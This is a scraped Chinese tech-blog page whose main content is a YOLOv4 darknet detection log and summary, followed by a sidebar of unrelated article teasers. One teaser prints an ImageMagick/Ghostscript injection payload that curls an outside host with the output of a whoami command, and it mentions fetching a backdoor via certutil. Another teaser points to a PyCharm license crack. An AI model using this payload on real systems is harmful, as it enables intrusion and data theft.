1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF64 Shortcut Layer: 61,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF65 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF66 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF67 Shortcut Layer: 64,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF68 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF69 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF70 Shortcut Layer: 67,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF71 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF72 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF73 Shortcut Layer: 70,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF74 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF75 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF76 Shortcut Layer: 73,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF77 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF78 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF79 Shortcut Layer: 76,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF80 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF81 conv    256       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 256 1.529 BF82 Shortcut Layer: 79,  wt = 0, wn = 0, outputs:  36 x  36 x 256 0.000 BF83 conv    256       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 256 0.170 BF84 route  83 56 	                           ->   36 x  36 x 512 85 conv    512       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 512 0.679 BF86 conv   1024       3 x 3/ 2     36 x  36 x 512 ->   18 x  18 x1024 3.058 BF87 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF88 route  86 		                           ->   18 x  18 x1024 89 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF90 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF91 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF92 Shortcut Layer: 89,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF93 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF94 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF95 Shortcut Layer: 92,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF96 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF97 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF98 Shortcut Layer: 95,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF99 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF100 conv    512       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x 512 1.529 BF101 Shortcut Layer: 98,  wt = 0, wn = 0, outputs:  18 x  18 x 512 0.000 BF102 conv    512       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.170 BF103 route  102 87 	                           ->   18 x  18 x1024 104 conv   1024       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x1024 0.679 BF105 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF106 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF107 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF108 max                5x 5/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.004 BF109 route  107 		                           ->   18 x  18 x 512 110 max                9x 9/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.013 BF111 route  107 		                           ->   18 x  18 x 512 112 max               13x13/ 1     18 x  18 x 512 ->   18 x  18 x 512 0.028 BF113 route  112 110 108 107 	                   ->   18 x  18 x2048 114 conv    512       1 x 1/ 1     18 x  18 x2048 ->   18 x  18 x 512 0.679 BF115 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF116 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF117 conv    256       1 x 1/ 1     18 x  18 x 512 ->   18 x  18 x 256 0.085 BF118 upsample                 2x    18 x  18 x 256 ->   36 x  36 x 256119 route  85 		                           ->   36 x  36 x 512 120 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF121 route  120 118 	                           ->   36 x  36 x 512 122 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF123 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF124 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF125 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF126 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF127 conv    128       1 x 1/ 1     36 x  36 x 256 ->   36 x  36 x 128 0.085 BF128 upsample                 2x    36 x  36 x 128 ->   72 x  72 x 128129 route  54 		                           ->   72 x  72 x 256 130 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF131 route  130 128 	                           ->   72 x  72 x 256 132 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF133 conv    256       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 256 3.058 BF134 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF135 conv    256       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 256 3.058 BF136 conv    128       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 128 0.340 BF137 conv    256       3 x 3/ 1     72 x  72 x 128 ->   72 x  72 x 256 3.058 BF138 conv    255       1 x 1/ 1     72 x  72 x 256 ->   72 x  72 x 255 0.677 BF139 yolo
[yolo] params: iou loss: ciou (4), iou_norm: 0.07, cls_norm: 1.00, scale_x_y: 1.20
nms_kind: greedynms (1), beta = 0.600000 140 route  136 		                           ->   72 x  72 x 128 141 conv    256       3 x 3/ 2     72 x  72 x 128 ->   36 x  36 x 256 0.764 BF142 route  141 126 	                           ->   36 x  36 x 512 143 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF144 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF145 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF146 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF147 conv    256       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 256 0.340 BF148 conv    512       3 x 3/ 1     36 x  36 x 256 ->   36 x  36 x 512 3.058 BF149 conv    255       1 x 1/ 1     36 x  36 x 512 ->   36 x  36 x 255 0.338 BF150 yolo
[yolo] params: iou loss: ciou (4), iou_norm: 0.07, cls_norm: 1.00, scale_x_y: 1.10
nms_kind: greedynms (1), beta = 0.600000 151 route  147 		                           ->   36 x  36 x 256 152 conv    512       3 x 3/ 2     36 x  36 x 256 ->   18 x  18 x 512 0.764 BF153 route  152 116 	                           ->   18 x  18 x1024 154 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF155 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF156 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF157 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF158 conv    512       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 512 0.340 BF159 conv   1024       3 x 3/ 1     18 x  18 x 512 ->   18 x  18 x1024 3.058 BF160 conv    255       1 x 1/ 1     18 x  18 x1024 ->   18 x  18 x 255 0.169 BF161 yolo
[yolo] params: iou loss: ciou (4), iou_norm: 0.07, cls_norm: 1.00, scale_x_y: 1.05
nms_kind: greedynms (1), beta = 0.600000 
Total BFLOPS 115.293 
avg_outputs = 958892 
Loading weights from yolov4.weights...seen 64, trained: 32032 K-images (500 Kilo-batches_64) 
Done! Loaded 162 layers from weights-file 
object names loaded 
input image or video filename:  Time: 7.29136 sec 
surfboard - obj_id = 37,  x = 521, y = 517, w = 32, h = 15, prob = 0.393
surfboard - obj_id = 37,  x = 497, y = 521, w = 39, h = 10, prob = 0.255
surfboard - obj_id = 37,  x = 814, y = 567, w = 30, h = 10, prob = 0.248
kite - obj_id = 33,  x = 591, y = 79, w = 75, h = 71, prob = 0.994
kite - obj_id = 33,  x = 279, y = 235, w = 23, h = 45, prob = 0.979
kite - obj_id = 33,  x = 575, y = 343, w = 25, h = 25, prob = 0.951
kite - obj_id = 33,  x = 1082, y = 393, w = 14, h = 28, prob = 0.943
kite - obj_id = 33,  x = 464, y = 339, w = 16, h = 18, prob = 0.855
kite - obj_id = 33,  x = 300, y = 375, w = 23, h = 32, prob = 0.68
kite - obj_id = 33,  x = 760, y = 379, w = 7, h = 9, prob = 0.634
person - obj_id = 0,  x = 110, y = 610, w = 51, h = 151, prob = 0.994
person - obj_id = 0,  x = 213, y = 698, w = 53, h = 159, prob = 0.993
person - obj_id = 0,  x = 1204, y = 450, w = 9, h = 12, prob = 0.872
person - obj_id = 0,  x = 37, y = 509, w = 16, h = 51, prob = 0.871
person - obj_id = 0,  x = 345, y = 487, w = 9, h = 14, prob = 0.866
person - obj_id = 0,  x = 176, y = 539, w = 11, h = 32, prob = 0.832
person - obj_id = 0,  x = 21, y = 529, w = 14, h = 26, prob = 0.801
person - obj_id = 0,  x = 82, y = 506, w = 25, h = 57, prob = 0.697
person - obj_id = 0,  x = 518, y = 506, w = 16, h = 18, prob = 0.606
person - obj_id = 0,  x = 692, y = 462, w = 7, h = 6, prob = 0.552
person - obj_id = 0,  x = 460, y = 471, w = 7, h = 6, prob = 0.394
person - obj_id = 0,  x = 537, y = 514, w = 14, h = 17, prob = 0.381

测试图片结果

总结

在本文中，我们使用C++调用了作者在COCO数据集上的训练结果进行了图片测试，并且可以进行视频测试和网络摄像头测试（自己笔记本显卡太弱，视频跑不起来），如果我们想要自己训练数据集，仍然可以参考github，可以通过训练得到weights文件，然后按照本文所讲的进行测试。

查看全文
如若内容造成侵权/违法违规/事实不符，请联系编程学习网邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！

pycharm的常用快捷键汇总！
微信公众号：龙跃十二我是小玉，一个平平无奇的小天才！小玉最近在用python练习一些代码，所以一直在寻找一个上手容易的IDE，在众多的IDE里，最终选择了最喜欢的，也是功能最强大的pycharm，但是最近的使用又发现了一些快捷键，可以说是非常便捷，所以贴心小玉上线，给大家准…...
2024/4/24 9:39:43
挣值管理
一、名称解释1PV ：（Planed Value）计划工作的计划成本。AC ：（Actual Cost）已完成工作的实际成本。EV ：（Earn value ）已完成工作的计划成本。二、公式（s：schedule进度 c：cost成本）偏差：减法是与0比较，除法是与1比较进度偏差 SV=EV-PV （SV>0：进度超前 SV<…...
2024/4/24 9:39:41
支付宝手机网站支付（H5）
步骤图：一、登录支付宝开放平台创建一个应用二、等待应用上线，同时配置沙箱需要使用支付宝官方提供的工具生成一个应用公钥复制应用公钥到沙箱设置获取支付私钥三、下载SDK&Demo（Maven项目可以直接添加依赖）1、将下载好的Demo导入到项目中2、修改AlipayConfig.java文件…...
2024/4/24 9:39:41
利用Vue+SSM框架完成用户的查询与修改操作。
创建项目的目录结构2.在pom.xml中导入依赖 <properties><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target…...
2024/4/24 9:39:39
Android kotlin DataBinding 之 unresolved reference: BR 坑
Android kotlin DataBinding 之 unresolved reference: BR 坑由于目前kotlin开发的插件不支持跨module，所以databinding在使用apt技术BR文件时的引用没发确定目录，故造成unresolved reference：BR，那么需要kapt完成，配置如下app下build.gradleapply plugin: kotlin-kapt ka…...
2024/5/6 2:38:54
利用余弦距离比较文档间的相似度
一.数据说明在进行正式的操作之前，我想对后续进行处理的数据进行说明，首先，我在新浪网上爬取了中文体育新闻网页若干并提取了对应页面中的新闻内容，然后进行了中文分词(jieba)和删除停用词操作，最后处理的结果展示如下如所示：注意：后续的操作都是在经过上述步骤处理的文…...
2024/4/24 9:39:37
如何正确整理你的数据格式？
数据格式，直接影响着分析结果是否准确。小编最近也收到一些关于“数据格式”的提问，不知道自己的数据应该整理成什么格式上传分析？正好在这里统一分享几种常见的数据格式，包括问卷数据、实验数据、时序数据、面板数据以及一些特殊数据格式。希望今天的文章，能够帮助你解决…...
2024/4/15 6:05:57
虚拟机Linux网卡配置
虚拟机Linux网卡配置 Part 1：Centos6.5 1.首先查看虚拟机的网络设置，看是否为NAT模式（必须为NAT模式否则连不上网） VMware上方菜单栏，虚拟机—设置—网络适配器2.查看/设置虚拟机ip和网关 VMware上方菜单栏，编辑—虚拟机网络编辑器（1）查看修改虚拟机ip（2）查看网关3.…...
2024/4/16 10:14:13
css外阴影向内递减效果
设计图：实现方法有很多种：详见思否这里介绍最简单的设计办法：css外阴影递减方法要点：主要是改变div下阴影的递增位置和阴影大小的递减实例代码： .css{/* 其他不变，只是y偏移和阴影大小改变 *//* 注意，Y轴的偏转必须是2的倍数。因为参数4设置阴影少1px的时候y轴部分也…...
2024/4/16 10:13:58
显微镜解析，简单介绍显微镜的发展过程
显微镜的设计，生产小物体放大的视觉或照片图像的仪器。显微镜必须完成三项任务：产生样品的放大图像，图像中分离的细节，并呈现对人眼或相机可见的细节。这组仪器不仅包括多个透镜与物镜和聚光镜，但也很简单的单透镜设备，常常手持，如放大镜设计。在图1所示的显微镜是由英国…...
2024/4/16 10:13:58
步骤详图教你在linux搭建容器环境
（警告：切勿在没有配置 Docker YUM 源的情况下直接使用 yum 命令安装 Docker.） 1 准备工作系统要求要安装Docker CE （社区版），操作系统的最低要求是CentOS7，7以下版本都不被支持。卸载旧版本 Docker改版之前称为 docker 或者 docker-engine，若之前安装过旧版本需要卸…...
2024/4/20 0:16:01
iPlat4J入门培训
1、开发环境搭建 1.1 Java版本要求：1.8+首先需要验证下本机是否已经安装JDK，并且版本是否为1.8及以上。验证操作：进入控制台输入：java -version，如果出现下图或者显示版本号不是1.8及以上就需要重新安装JDK。安装JDK点击下一步点击“更改”可以自定义安装目录，选择完安装…...
2024/4/16 10:14:03
Maven如何更新本地仓库索引（无需翻墙）
在Settings中找到Responsitories，更新本地仓库（Local）注意：只需要更新本地仓库索引即可，无需更新远程仓库索引如果更新失败，可以注释掉阿里云私服的仓库，如下：如果还是更新失败，可以在VM options for importer中添加以下语句 -DproxySet=true -DproxyHost=127.0.0.1 …...
2024/4/17 23:55:59
记录一次常规的渗透测试
首先是魔图漏洞%!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%curl http://dnslog.cn/`whomai`) currentdevice putdeviceprops然后windows下载后门。方法1：certutil.e…...
2024/4/15 6:05:50
react redux在项目中的使用
一开始我接触到redux是很懵的，看官方文档也很枯燥乏味，不理解说的什么意思，也是看过就忘，所以就结合公司的项目来熟悉一下redux。也可能有写的不对的地方，欢迎指出。一、构建reducer首先看storeConfig下的reducers.js。combineReducers函数的作用是把一个或多个的reducer结…...
2024/4/24 9:39:37
UMEX数字货币合约招商
umex交易所的常见问题解决办法 1 umex收不到邮件如何处理？请检查以下步骤是否存在问题 1、邮箱地址输入是否有误； 2、邮箱邮件是否被拦截、屏蔽；2 umex收不到短信如何处理？您收不到短信验证码有可能是手机网络拥堵导致，请稍等30分钟再试。另外请按以下步骤检查: 1、请…...
2024/4/24 9:39:35
买了保险，为何得不到理赔？
保险公司买的时候业务人员天天找，买了之后当出现理赔的时候，发现不能理赔，是不是我们白买了，上当了？今天就跟大家分享一下？保险的功能是分散风险，基本分为几类：意外险、医疗险、大病保险、年金保险和终身寿险。为什么买了不能理赔？大概分为以下情况 1、在等待期内出…...
2024/4/24 9:39:34
“啃米族”云米的扑朔自立路
2013年，雷军和董明珠立下为期五年赌注10亿的赌局。虽然在五年后，董明珠险胜雷军，但是小米也从当时仅仅200亿营收暴涨到近1800亿营收。近日，雷军和董明珠提出再续赌局，用下一个五年换来中国制造业的蓬勃发展。尽管在2018年输了赌局，但是作为一个后辈，小米取得的成就依旧…...
2024/5/7 23:57:39
人工智能新技术：联邦学习的前世今生（下）
导读上篇内容回顾：在《人工智能新技术：联邦学习的前世今生》上篇和中篇里，我们与大家一起揭开了联邦学习的神秘面纱，探索了联邦学习成为解决隐私数据保护和数据共享矛盾的关键技术背后的原因，以及联邦学习应用的前景、难点和实施方式。本篇为您解读：密码技术的那些事儿…...
2024/4/24 9:39:32
五分钟搞定pycharm专业版的安装
与bug斗，其乐无穷，用pycharm一年多了，其间在不同电脑上安装过无数次，但是最近我的社区版没有flask四处查报错，蠢到暴风哭泣！！后面果断export setting 再卸载重装pycharm2020.1.1 的专业版，还是专业版的香，这里参考Jetbrains系列产品2020.1.1最新激活方法 By zhile.io …...
2024/4/24 9:39:32

C++Yolov4目标检测实战

Introduction

官方darknet

Yolov4实战

总结

相关文章

最新文章